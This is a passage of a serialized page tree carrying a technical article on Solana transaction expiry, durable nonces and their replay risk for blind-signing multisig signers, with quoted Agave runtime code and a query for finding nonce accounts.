",{"type":23,"tag":940,"props":78863,"children":78866},{"href":78864,"rel":78865},"https://solana.com/developers/guides/advanced/confirmation",[944],[78867],{"type":29,"value":78868},"the docs",{"type":29,"value":1018},{"type":23,"tag":1829,"props":78871,"children":78872},{},[78873],{"type":23,"tag":32,"props":78874,"children":78875},{},[78876],{"type":29,"value":78877},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":23,"tag":32,"props":78879,"children":78880},{},[78881,78883,78890],{"type":29,"value":78882},"The actual constant ",{"type":23,"tag":940,"props":78884,"children":78887},{"href":78885,"rel":78886},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[944],[78888],{"type":29,"value":78889},"is defined here",{"type":29,"value":557},{"type":23,"tag":64,"props":78892,"children":78894},{"className":987,"code":78893,"language":986,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[78895],{"type":23,"tag":71,"props":78896,"children":78897},{"__ignoreMap":7},[78898,78906],{"type":23,"tag":75,"props":78899,"children":78900},{"class":77,"line":78},[78901],{"type":23,"tag":75,"props":78902,"children":78903},{"style":3621},[78904],{"type":29,"value":78905},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":23,"tag":75,"props":78907,"children":78908},{"class":77,"line":100},[78909,78913,78917,78922,78926,78930,78934,78939,78943,78947],{"type":23,"tag":75,"props":78910,"children":78911},{"style":82},[78912],{"type":29,"value":24933},{"type":23,"tag":75,"props":78914,"children":78915},{"style":82},[78916],{"type":29,"value":50302},{"type":23,"tag":75,"props":78918,"children":78919},{"style":94},[78920],{"type":29,"value":78921}," MAX_PROCESSING_AGE",{"type":23,"tag":75,"props":78923,"children":78924},{"style":209},[78925],{"type":29,"value":1018},{"type":23,"tag":75,"props":78927,"children":78928},{"style":104},[78929],{"type":29,"value":24974},{"type":23,"tag":75,"props":78931,"children":78932},{"style":209},[78933],{"type":29,"value":1193},{"type":23,"tag":75,"props":78935,"children":78936},{"style":94},[78937],{"type":29,"value":78938}," MAX_RECENT_BLOCKHASHES ",{"type":23,"tag":75,"props":78940,"children":78941},{"style":209},[78942],{"type":29,"value":5647},{"type":23,"tag":75,"props":78944,"children":78945},{"style":237},[78946],{"type":29,"value":19193},{"type":23,"tag":75,"props":78948,"children":78949},{"style":94},[78950],{"type":29,"value":245},{"type":23,"tag":32,"props":78952,"children":78953},{},[78954,78956,78963,78965,78971],{"type":29,"value":78955},"For those curious, the logic ",{"type":23,"tag":940,"props":78957,"children":78960},{"href":78958,"rel":78959},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[944],[78961],{"type":29,"value":78962},"starts here",{"type":29,"value":78964}," and is quite straightforward to follow, ending in a ",{"type":23,"tag":71,"props":78966,"children":78968},{"className":78967},[],[78969],{"type":29,"value":78970},"is_hash_index_valid",{"type":29,"value":78972}," check.",{"type":23,"tag":64,"props":78974,"children":78976},{"className":987,"code":78975,"language":986,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[78977],{"type":23,"tag":71,"props":78978,"children":78979},{"__ignoreMap":7},[78980,79059,79093],{"type":23,"tag":75,"props":78981,"children":78982},{"class":77,"line":78},[78983,78987,78992,78996,79001,79005,79009,79013,79018,79022,79026,79030,79035,79039,79043,79047,79051,79055],{"type":23,"tag":75,"props":78984,"children":78985},{"style":82},[78986],{"type":29,"value":999},{"type":23,"tag":75,"props":78988,"children":78989},{"style":88},[78990],{"type":29,"value":78991}," is_hash_index_valid",{"type":23,"tag":75,"props":78993,"children":78994},{"style":94},[78995],{"type":29,"value":643},{"type":23,"tag":75,"props":78997,"children":78998},{"style":110},[78999],{"type":29,"value":79000},"last_hash_index",{"type":23,"tag":75,"props":79002,"children":79003},{"style":209},[79004],{"type":29,"value":1018},{"type":23,"tag":75,"props":79006,"children":79007},{"style":104},[79008],{"type":29,"value":17129},{"type":23,"tag":75,"props":79010,"children":79011},{"style":94},[79012],{"type":29,"value":611},{"type":23,"tag":75,"props":79014,"children":79015},{"style":110},[79016],{"type":29,"value":79017},"max_age",{"type":23,"tag":75,"props":79019,"children":79020},{"style":209},[79021],{"type":29,"value":1018},{"type":23,"tag":75,"props":79023,"children":79024},{"style":104},[79025],{"type":29,"value":24974},{"type":23,"tag":75,"props":79027,"children":79028},{"style":94},[79029],{"type":29,"value":611},{"type":23,"tag":75,"props":79031,"children":79032},{"style":110},[79033],{"type":29,"value":79034},"hash_index",{"type":23,"tag":75,"props":79036,"children":79037},{"style":209},[79038],{"type":29,"value":1018},{"type":23,"tag":75,"props":79040,"children":79041},{"style":104},[79042],{"type":29,"value":17129},{"type":23,"tag":75,"props":79044,"children":79045},{"style":94},[79046],{"type":29,"value":167},{"type":23,"tag":75,"props":79048,"children":79049},{"style":209},[79050],{"type":29,"value":1156},{"type":23,"tag":75,"props":79052,"children":79053},{"style":104},[79054],{"type":29,"value":3001},{"type":23,"tag":75,"props":79056,"children":79057},{"style":94},[79058],{"type":29,"value":401},{"type":23,"tag":75,"props":79060,"children":79061},{"class":77,"line":100},[79062,79067,79071,79076,79080,79085,79089],{"type":23,"tag":75,"props":79063,"children":79064},{"style":110},[79065],{"type":29,"value":79066},"    last_hash_index",{"type":23,"tag":75,"props":79068,"children":79069},{"style":209},[79070],{"type":29,"value":62440},{"type":23,"tag":75,"props":79072,"children":79073},{"style":110},[79074],{"type":29,"value":79075}," hash_index",{"type":23,"tag":75,"props":79077,"children":79078},{"style":209},[79079],{"type":29,"value":19456},{"type":23,"tag":75,"props":79081,"children":79082},{"style":110},[79083],{"type":29,"value":79084}," max_age",{"type":23,"tag":75,"props":79086,"children":79087},{"style":82},[79088],{"type":29,"value":20083},{"type":23,"tag":75,"props":79090,"children":79091},{"style":104},[79092],{"type":29,"value":24440},{"type":23,"tag":75,"props":79094,"children":79095},{"class":77,"line":121},[79096],{"type":23,"tag":75,"props":79097,"children":79098},{"style":94},[79099],{"type":29,"value":369},{"type":23,"tag":32,"props":79101,"children":79102},{},[79103],{"type":29,"value":79104},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":23,"tag":1829,"props":79106,"children":79107},{},[79108],{"type":23,"tag":32,"props":79109,"children":79110},{},[79111,79113],{"type":29,"value":79112},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":23,"tag":16596,"props":79114,"children":79115},{},[79116],{"type":29,"value":79117},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":23,"tag":32,"props":79119,"children":79120},{},[79121,79123,79128],{"type":29,"value":79122},"This means an attacker ",{"type":23,"tag":9690,"props":79124,"children":79125},{},[79126],{"type":29,"value":79127},"must use",{"type":29,"value":79129}," a malicious signed transaction within a short timeframe.",{"type":23,"tag":923,"props":79131,"children":79133},{"id":79132},"durable-nonce",[79134],{"type":29,"value":79135},"Durable Nonce",{"type":23,"tag":32,"props":79137,"children":79138},{},[79139,79141,79148],{"type":29,"value":79140},"The second type of signature ",{"type":23,"tag":940,"props":79142,"children":79145},{"href":79143,"rel":79144},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[944],[79146],{"type":29,"value":79147},"is a durable nonce",{"type":29,"value":79149},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":23,"tag":1829,"props":79151,"children":79152},{},[79153],{"type":23,"tag":32,"props":79154,"children":79155},{},[79156,79158],{"type":29,"value":79157},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":23,"tag":16596,"props":79159,"children":79160},{},[79161],{"type":29,"value":79162},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":23,"tag":32,"props":79164,"children":79165},{},[79166,79168,79175],{"type":29,"value":79167},"If we examine the code ",{"type":23,"tag":940,"props":79169,"children":79172},{"href":79170,"rel":79171},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[944],[79173],{"type":29,"value":79174},"for recent blockhash validation",{"type":29,"value":79176},", we can also see the handling for durable nonces.",{"type":23,"tag":64,"props":79178,"children":79180},{"className":987,"code":79179,"language":986,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[79181],{"type":23,"tag":71,"props":79182,"children":79183},{"__ignoreMap":7},[79184,79230,79296,79316,79336,79366,79373,79427,79444,79464,79476,79488,79495,79502,79521,79548,79568,79575,79590,79619,79648],{"type":23,"tag":75,"props":79185,"children":79186},{"class":77,"line":78},[79187,79191,79196,79200,79204,79208,79213,79217,79221,79226],{"type":23,"tag":75,"props":79188,"children":79189},{"style":82},[79190],{"type":29,"value":1183},{"type":23,"tag":75,"props":79192,"children":79193},{"style":110},[79194],{"type":29,"value":79195}," recent_blockhash",{"type":23,"tag":75,"props":79197,"children":79198},{"style":209},[79199],{"type":29,"value":1193},{"type":23,"tag":75,"props":79201,"children":79202},{"style":110},[79203],{"type":29,"value":3087},{"type":23,"tag":75,"props":79205,"children":79206},{"style":209},[79207],{"type":29,"value":557},{"type":23,"tag":75,"props":79209,"children":79210},{"style":88},[79211],{"type":29,"value":79212},"message",{"type":23,"tag":75,"props":79214,"children":79215},{"style":94},[79216],{"type":29,"value":1417},{"type":23,"tag":75,"props":79218,"children":79219},{"style":209},[79220],{"type":29,"value":557},{"type":23,"tag":75,"props":79222,"children":79223},{"style":88},[79224],{"type":29,"value":79225},"recent_blockhash",{"type":23,"tag":75,"props":79227,"children":79228},{"style":94},[79229],{"type":29,"value":14944},{"type":23,"tag":75,"props":79231,"children":79232},{"class":77,"line":100},[79233,79237,79241,79245,79249,79254,79258,79262,79267,79271,79276,79280,79284,79288,79292],{"type":23,"tag":75,"props":79234,"children":79235},{"style":175},[79236],{"type":29,"value":1363},{"type":23,"tag":75,"props":79238,"children":79239},{"style":82},[79240],{"type":29,"value":38504},{"type":23,"tag":75,"props":79242,"children":79243},{"style":104},[79244],{"type":29,"value":38509},{"type":23,"tag":75,"props":79246,"children":79247},{"style":94},[79248],{"type":29,"value":643},{"type":23,"tag":75,"props":79250,"children":79251},{"style":110},[79252],{"type":29,"value":79253},"hash_info",{"type":23,"tag":75,"props":79255,"children":79256},{"style":94},[79257],{"type":29,"value":167},{"type":23,"tag":75,"props":79259,"children":79260},{"style":209},[79261],{"type":29,"value":212},{"type":23,"tag":75,"props":79263,"children":79264},{"style":110},[79265],{"type":29,"value":79266}," hash_queue",{"type":23,"tag":75,"props":79268,"children":79269},{"style":209},[79270],{"type":29,"value":557},{"type":23,"tag":75,"props":79272,"children":79273},{"style":88},[79274],{"type":29,"value":79275},"get_hash_info_if_valid",{"type":23,"tag":75,"props":79277,"children":79278},{"style":94},[79279],{"type":29,"value":643},{"type":23,"tag":75,"props":79281,"children":79282},{"style":110},[79283],{"type":29,"value":79225},{"type":23,"tag":75,"props":79285,"children":79286},{"style":94},[79287],{"type":29,"value":611},{"type":23,"tag":75,"props":79289,"children":79290},{"style":110},[79291],{"type":29,"value":79017},{"type":23,"tag":75,"props":79293,"children":79294},{"style":94},[79295],{"type":29,"value":193},{"type":23,"tag":75,"props":79297,"children":79298},{"class":77,"line":121},[79299,79303,79307,79312],{"type":23,"tag":75,"props":79300,"children":79301},{"style":104},[79302],{"type":29,"value":26047},{"type":23,"tag":75,"props":79304,"children":79305},{"style":94},[79306],{"type":29,"value":643},{"type":23,"tag":75,"props":79308,"children":79309},{"style":104},[79310],{"type":29,"value":79311},"CheckedTransactionDetails",{"type":23,"tag":75,"props":79313,"children":79314},{"style":94},[79315],{"type":29,"value":401},{"type":23,"tag":75,"props":79317,"children":79318},{"class":77,"line":138},[79319,79324,79328,79332],{"type":23,"tag":75,"props":79320,"children":79321},{"style":110},[79322],{"type":29,"value":79323},"            nonce",{"type":23,"tag":75,"props":79325,"children":79326},{"style":209},[79327],{"type":29,"value":1018},{"type":23,"tag":75,"props":79329,"children":79330},{"style":104},[79331],{"type":29,"value":38956},{"type":23,"tag":75,"props":79333,"children":79334},{"style":94},[79335],{"type":29,"value":118},{"type":23,"tag":75,"props":79337,"children":79338},{"class":77,"line":161},[79339,79344,79348,79353,79357,79362],{"type":23,"tag":75,"props":79340,"children":79341},{"style":110},[79342],{"type":29,"value":79343},"            lamports_per_signature",{"type":23,"tag":75,"props":79345,"children":79346},{"style":209},[79347],{"type":29,"value":1018},{"type":23,"tag":75,"props":79349,"children":79350},{"style":110},[79351],{"type":29,"value":79352}," hash_info",{"type":23,"tag":75,"props":79354,"children":79355},{"style":209},[79356],{"type":29,"value":557},{"type":23,"tag":75,"props":79358,"children":79359},{"style":88},[79360],{"type":29,"value":79361},"lamports_per_signature",{"type":23,"tag":75,"props":79363,"children":79364},{"style":94},[79365],{"type":29,"value":2580},{"type":23,"tag":75,"props":79367,"children":79368},{"class":77,"line":196},[79369],{"type":23,"tag":75,"props":79370,"children":79371},{"style":94},[79372],{"type":29,"value":2617},{"type":23,"tag":75,"props":79374,"children":79375},{"class":77,"line":220},[79376,79380,79384,79388,79392,79396,79400,79405,79409,79414,79418,79422],{"type":23,"tag":75,"props":79377,"children":79378},{"style":94},[79379],{"type":29,"value":8344},{"type":23,"tag":75,"props":79381,"children":79382},{"style":175},[79383],{"type":29,"value":6878},{"type":23,"tag":75,"props":79385,"children":79386},{"style":175},[79387],{"type":29,"value":7386},{"type":23,"tag":75,"props":79389,"children":79390},{"style":82},[79391],{"type":29,"value":38504},{"type":23,"tag":75,"props":79393,"children":79394},{"style":104},[79395],{"type":29,"value":38509},{"type":23,"tag":75,"props":79397,"children":79398},{"style":94},[79399],{"type":29,"value":42718},{"type":23,"tag":75,"props":79401,"children":79402},{"style":110},[79403],{"type":29,"value":79404},"nonce",{"type":23,"tag":75,"props":79406,"children":79407},{"style":94},[79408],{"type":29,"value":611},{"type":23,"tag":75,"props":79410,"children":79411},{"style":110},[79412],{"type":29,"value":79413},"previous_lamports_per_signature",{"type":23,"tag":75,"props":79415,"children":79416},{"style":94},[79417],{"type":29,"value":20092},{"type":23,"tag":75,"props":79419,"children":79420},{"style":209},[79421],{"type":29,"value":212},{"type":23,"tag":75,"props":79423,"children":79424},{"style":82},[79425],{"type":29,"value":79426}," self\n",{"type":23,"tag":75,"props":79428,"children":79429},{"class":77,"line":248},[79430,79435,79440],{"type":23,"tag":75,"props":79431,"children":79432},{"style":209},[79433],{"type":29,"value":79434},"        .",{"type":23,"tag":75,"props":79436,"children":79437},{"style":88},[79438],{"type":29,"value":79439},"check_load_and_advance_message_nonce_account",{"type":23,"tag":75,"props":79441,"children":79442},{"style":94},[79443],{"type":29,"value":97},{"type":23,"tag":75,"props":79445,"children":79446},{"class":77,"line":270},[79447,79452,79456,79460],{"type":23,"tag":75,"props":79448,"children":79449},{"style":110},[79450],{"type":29,"value":79451},"            tx",{"type":23,"tag":75,"props":79453,"children":79454},{"style":209},[79455],{"type":29,"value":557},{"type":23,"tag":75,"props":79457,"children":79458},{"style":88},[79459],{"type":29,"value":79212},{"type":23,"tag":75,"props":79461,"children":79462},{"style":94},[79463],{"type":29,"value":2580},{"type":23,"tag":75,"props":79465,"children":79466},{"class":77,"line":279},[79467,79472],{"type":23,"tag":75,"props":79468,"children":79469},{"style":110},[79470],{"type":29,"value":79471},"            next_durable_nonce",{"type":23,"tag":75,"props":79473,"children":79474},{"style":94},[79475],{"type":29,"value":118},{"type":23,"tag":75,"props":79477,"children":79478},{"class":77,"line":303},[79479,79484],{"type":23,"tag":75,"props":79480,"children":79481},{"style":110},[79482],{"type":29,"value":79483},"            next_lamports_per_signature",{"type":23,"tag":75,"props":79485,"children":79486},{"style":94},[79487],{"type":29,"value":118},{"type":23,"tag":75,"props":79489,"children":79490},{"class":77,"line":322},[79491],{"type":23,"tag":75,"props":79492,"children":79493},{"style":94},[79494],{"type":29,"value":1808},{"type":23,"tag":75,"props":79496,"children":79497},{"class":77,"line":340},[79498],{"type":23,"tag":75,"props":79499,"children":79500},{"style":94},[79501],{"type":29,"value":40383},{"type":23,"tag":75,"props":79503,"children":79504},{"class":77,"line":349},[79505,79509,79513,79517],{"type":23,"tag":75,"props":79506,"children":79507},{"style":104},[79508],{"type":29,"value":26047},{"type":23,"tag":75,"props":79510,"children":79511},{"style":94},[79512],{"type":29,"value":643},{"type":23,"tag":75,"props":79514,"children":79515},{"style":104},[79516],{"type":29,"value":79311},{"type":23,"tag":75,"props":79518,"children":79519},{"style":94},[79520],{"type":29,"value":401},{"type":23,"tag":75,"props":79522,"children":79523},{"class":77,"line":363},[79524,79528,79532,79536,79540,79544],{"type":23,"tag":75,"props":79525,"children":79526},{"style":110},[79527],{"type":29,"value":79323},{"type":23,"tag":75,"props":79529,"children":79530},{"style":209},[79531],{"type":29,"value":1018},{"type":23,"tag":75,"props":79533,"children":79534},{"style":104},[79535],{"type":29,"value":38509},{"type":23,"tag":75,"props":79537,"children":79538},{"style":94},[79539],{"type":29,"value":643},{"type":23,"tag":75,"props":79541,"children":79542},{"style":110},[79543],{"type":29,"value":79404},{"type":23,"tag":75,"props":79545,"children":79546},{"style":94},[79547],{"type":29,"value":1792},{"type":23,"tag":75,"props":79549,"children":79550},{"class":77,"line":656},[79551,79555,79559,79564],{"type":23,"tag":75,"props":79552,"children":79553},{"style":110},[79554],{"type":29,"value":79343},{"type":23,"tag":75,"props":79556,"children":79557},{"style":209},[79558],{"type":29,"value":1018},{"type":23,"tag":75,"props":79560,"children":79561},{"style":110},[79562],{"type":29,"value":79563}," previous_lamports_per_signature",{"type":23,"tag":75,"props":79565,"children":79566},{"style":94},[79567],{"type":29,"value":118},{"type":23,"tag":75,"props":79569,"children":79570},{"class":77,"line":705},[79571],{"type":23,"tag":75,"props":79572,"children":79573},{"style":94},[79574],{"type":29,"value":2617},{"type":23,"tag":75,"props":79576,"children":79577},{"class":77,"line":787},[79578,79582,79586],{"type":23,"tag":75,"props":79579,"children":79580},{"style":94},[79581],{"type":29,"value":8344},{"type":23,"tag":75,"props":79583,"children":79584},{"style":175},[79585],{"type":29,"value":6878},{"type":23,"tag":75,"props":79587,"children":79588},{"style":94},[79589],{"type":29,"value":401},{"type":23,"tag":75,"props":79591,"children":79592},{"class":77,"line":826},[79593,79598,79602,79607,79611,79615],{"type":23,"tag":75,"props":79594,"children":79595},{"style":110},[79596],{"type":29,"value":79597},"        error_counters",{"type":23,"tag":75,"props":79599,"children":79600},{"style":209},[79601],{"type":29,"value":557},{"type":23,"tag":75,"props":79603,"children":79604},{"style":94},[79605],{"type":29,"value":79606},"blockhash_not_found ",{"type":23,"tag":75,"props":79608,"children":79609},{"style":209},[79610],{"type":29,"value":314},{"type":23,"tag":75,"props":79612,"children":79613},{"style":237},[79614],{"type":29,"value":15795},{"type":23,"tag":75,"props":79616,"children":79617},{"style":94},[79618],{"type":29,"value":245},{"type":23,"tag":75,"props":79620,"children":79621},{"class":77,"line":834},[79622,79626,79630,79635,79639,79644],{"type":23,"tag":75,"props":79623,"children":79624},{"style":104},[79625],{"type":29,"value":26090},{"type":23,"tag":75,"props":79627,"children":79628},{"style":94},[79629],{"type":29,"value":643},{"type":23,"tag":75,"props":79631,"children":79632},{"style":104},[79633],{"type":29,"value":79634},"TransactionError",{"type":23,"tag":75,"props":79636,"children":79637},{"style":209},[79638],{"type":29,"value":1407},{"type":23,"tag":75,"props":79640,"children":79641},{"style":104},[79642],{"type":29,"value":79643},"BlockhashNotFound",{"type":23,"tag":75,"props":79645,"children":79646},{"style":94},[79647],{"type":29,"value":653},{"type":23,"tag":75,"props":79649,"children":79650},{"class":77,"line":881},[79651],{"type":23,"tag":75,"props":79652,"children":79653},{"style":94},[79654],{"type":29,"value":346},{"type":23,"tag":32,"props":79656,"children":79657},{},[79658],{"type":29,"value":79659},"The documentation does a good job of explaining how they work.",{"type":23,"tag":1829,"props":79661,"children":79662},{},[79663],{"type":23,"tag":32,"props":79664,"children":79665},{},[79666],{"type":29,"value":79667},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":23,"tag":32,"props":79669,"children":79670},{},[79671,79673,79680],{"type":29,"value":79672},"Durable nonces are created and managed ",{"type":23,"tag":940,"props":79674,"children":79677},{"href":79675,"rel":79676},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[944],[79678],{"type":29,"value":79679},"by the system program",{"type":29,"value":79681},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":23,"tag":32,"props":79683,"children":79684},{},[79685,79687,79694],{"type":29,"value":79686},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":23,"tag":940,"props":79688,"children":79691},{"href":79689,"rel":79690},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[944],[79692],{"type":29,"value":79693},"based on the current blockhash",{"type":29,"value":79695},", and cannot be predicted in advance.",{"type":23,"tag":64,"props":79697,"children":79699},{"className":987,"code":79698,"language":986,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[79700],{"type":23,"tag":71,"props":79701,"children":79702},{"__ignoreMap":7},[79703,79755,79788],{"type":23,"tag":75,"props":79704,"children":79705},{"class":77,"line":78},[79706,79710,79714,79718,79722,79726,79731,79735,79739,79743,79747,79751],{"type":23,"tag":75,"props":79707,"children":79708},{"style":82},[79709],{"type":29,"value":1183},{"type":23,"tag":75,"props":79711,"children":79712},{"style":110},[79713],{"type":29,"value":79266},{"type":23,"tag":75,"props":79715,"children":79716},{"style":209},[79717],{"type":29,"value":1193},{"type":23,"tag":75,"props":79719,"children":79720},{"style":82},[79721],{"type":29,"value":25039},{"type":23,"tag":75,"props":79723,"children":79724},{"style":209},[79725],{"type":29,"value":557},{"type":23,"tag":75,"props":79727,"children":79728},{"style":94},[79729],{"type":29,"value":79730},"blockhash_queue",{"type":23,"tag":75,"props":79732,"children":79733},{"style":209},[79734],{"type":29,"value":557},{"type":23,"tag":75,"props":79736,"children":79737},{"style":88},[79738],{"type":29,"value":71822},{"type":23,"tag":75,"props":79740,"children":79741},{"style":94},[79742],{"type":29,"value":1417},{"type":23,"tag":75,"props":79744,"children":79745},{"style":209},[79746],{"type":29,"value":557},{"type":23,"tag":75,"props":79748,"children":79749},{"style":88},[79750],{"type":29,"value":14939},{"type":23,"tag":75,"props":79752,"children":79753},{"style":94},[79754],{"type":29,"value":14944},{"type":23,"tag":75,"props":79756,"children":79757},{"class":77,"line":100},[79758,79762,79767,79771,79775,79779,79784],{"type":23,"tag":75,"props":79759,"children":79760},{"style":82},[79761],{"type":29,"value":1183},{"type":23,"tag":75,"props":79763,"children":79764},{"style":110},[79765],{"type":29,"value":79766}," last_blockhash",{"type":23,"tag":75,"props":79768,"children":79769},{"style":209},[79770],{"type":29,"value":1193},{"type":23,"tag":75,"props":79772,"children":79773},{"style":110},[79774],{"type":29,"value":79266},{"type":23,"tag":75,"props":79776,"children":79777},{"style":209},[79778],{"type":29,"value":557},{"type":23,"tag":75,"props":79780,"children":79781},{"style":88},[79782],{"type":29,"value":79783},"last_hash",{"type":23,"tag":75,"props":79785,"children":79786},{"style":94},[79787],{"type":29,"value":14944},{"type":23,"tag":75,"props":79789,"children":79790},{"class":77,"line":121},[79791,79795,79800,79804,79809,79813,79818,79822,79826,79831],{"type":23,"tag":75,"props":79792,"children":79793},{"style":82},[79794],{"type":29,"value":1183},{"type":23,"tag":75,"props":79796,"children":79797},{"style":110},[79798],{"type":29,"value":79799}," next_durable_nonce",{"type":23,"tag":75,"props":79801,"children":79802},{"style":209},[79803],{"type":29,"value":1193},{"type":23,"tag":75,"props":79805,"children":79806},{"style":104},[79807],{"type":29,"value":79808}," DurableNonce",{"type":23,"tag":75,"props":79810,"children":79811},{"style":209},[79812],{"type":29,"value":1407},{"type":23,"tag":75,"props":79814,"children":79815},{"style":88},[79816],{"type":29,"value":79817},"from_blockhash",{"type":23,"tag":75,"props":79819,"children":79820},{"style":94},[79821],{"type":29,"value":643},{"type":23,"tag":75,"props":79823,"children":79824},{"style":209},[79825],{"type":29,"value":1277},{"type":23,"tag":75,"props":79827,"children":79828},{"style":110},[79829],{"type":29,"value":79830},"last_blockhash",{"type":23,"tag":75,"props":79832,"children":79833},{"style":94},[79834],{"type":29,"value":15099},{"type":23,"tag":32,"props":79836,"children":79837},{},[79838,79840,79845],{"type":29,"value":79839},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":23,"tag":9690,"props":79841,"children":79842},{},[79843],{"type":29,"value":79844},"can",{"type":29,"value":79846}," be saved and reused.",{"type":23,"tag":24,"props":79848,"children":79850},{"id":79849},"threat-model",[79851],{"type":29,"value":79852},"Threat Model",{"type":23,"tag":32,"props":79854,"children":79855},{},[79856],{"type":29,"value":79857},"Let's consider a simplified form of the original question.",{"type":23,"tag":2797,"props":79859,"children":79860},{},[79861,79866,79871],{"type":23,"tag":2801,"props":79862,"children":79863},{},[79864],{"type":29,"value":79865},"We have a N/M multisig",{"type":23,"tag":2801,"props":79867,"children":79868},{},[79869],{"type":29,"value":79870},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":23,"tag":2801,"props":79872,"children":79873},{},[79874],{"type":29,"value":79875},"We can accurately query chain state.",{"type":23,"tag":32,"props":79877,"children":79878},{},[79879],{"type":29,"value":79880},"Can we safely sign transactions?",{"type":23,"tag":32,"props":79882,"children":79883},{},[79884],{"type":29,"value":79885},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":23,"tag":32,"props":79887,"children":79888},{},[79889,79891,79897,79899,79906],{"type":29,"value":79890},"Durable nonces require an onchain account, and it's possible to use a ",{"type":23,"tag":71,"props":79892,"children":79894},{"className":79893},[],[79895],{"type":29,"value":79896},"getProgramAccounts",{"type":29,"value":79898}," call to validate if your signer ",{"type":23,"tag":940,"props":79900,"children":79903},{"href":79901,"rel":79902},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[944],[79904],{"type":29,"value":79905},"has an associated durable nonce",{"type":29,"value":557},{"type":23,"tag":64,"props":79908,"children":79910},{"className":47124,"code":79909,"language":47126,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[79911],{"type":23,"tag":71,"props":79912,"children":79913},{"__ignoreMap":7},[79914,79961,79997,80005,80017,80025,80037,80045,80053,80070,80077,80084,80092,80100,80112,80138,80155,80162,80169,80177,80184],{"type":23,"tag":75,"props":79915,"children":79916},{"class":77,"line":78},[79917,79921,79926,79930,79934,79939,79943,79948,79952,79957],{"type":23,"tag":75,"props":79918,"children":79919},{"style":82},[79920],{"type":29,"value":2869},{"type":23,"tag":75,"props":79922,"children":79923},{"style":110},[79924],{"type":29,"value":79925}," connection",{"type":23,"tag":75,"props":79927,"children":79928},{"style":209},[79929],{"type":29,"value":1193},{"type":23,"tag":75,"props":79931,"children":79932},{"style":82},[79933],{"type":29,"value":43128},{"type":23,"tag":75,"props":79935,"children":79936},{"style":88},[79937],{"type":29,"value":79938}," Connection",{"type":23,"tag":75,"props":79940,"children":79941},{"style":94},[79942],{"type":29,"value":643},{"type":23,"tag":75,"props":79944,"children":79945},{"style":88},[79946],{"type":29,"value":79947},"clusterApiUrl",{"type":23,"tag":75,"props":79949,"children":79950},{"style":94},[79951],{"type":29,"value":643},{"type":23,"tag":75,"props":79953,"children":79954},{"style":1266},[79955],{"type":29,"value":79956},"'testnet'",{"type":23,"tag":75,"props":79958,"children":79959},{"style":94},[79960],{"type":29,"value":18485},{"type":23,"tag":75,"props":79962,"children":79963},{"class":77,"line":100},[79964,79968,79973,79977,79981,79985,79989,79993],{"type":23,"tag":75,"props":79965,"children":79966},{"style":82},[79967],{"type":29,"value":2869},{"type":23,"tag":75,"props":79969,"children":79970},{"style":110},[79971],{"type":29,"value":79972}," 